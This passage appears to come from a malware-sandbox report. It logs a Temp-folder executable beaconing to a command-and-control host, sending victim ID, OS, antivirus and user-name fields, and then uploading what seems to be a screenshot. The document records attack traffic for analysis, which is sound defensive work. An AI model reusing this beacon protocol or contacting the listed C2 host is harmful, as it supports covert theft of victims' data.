73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:18.036355019 CET	14455	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.4	50127	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:18.169370890 CET	14456	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:18.195202112 CET	14456	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.4	50128	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:18.326132059 CET	14457	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:18.352893114 CET	14457	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.4	50129	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:18.482834101 CET	14458	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:18.507359028 CET	14458	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.4	50130	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:18.637799978 CET	14459	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:18.664123058 CET	14459	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.4	50131	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:18.801804066 CET	14460	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:18.828968048 CET	14461	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.4	50132	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:18.969333887 CET	14461	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:18.997863054 CET	14462	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.4	50133	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:19.141068935 CET	14462	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:19.169012070 CET	14463	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.4	50134	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:19.310211897 CET	14463	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:19.332751989 CET	14465	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:19 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:19.335299015 CET	14465	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.4	50135	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:19.467593908 CET	14466	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:19.490098953 CET	14467	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:19 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:19.490113974 CET	14467	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->
Nov 12, 2021 22:24:19.574732065 CET	14468	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:19.574960947 CET	14468	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:19.575303078 CET	14478	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:19.575453997 CET	14480	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
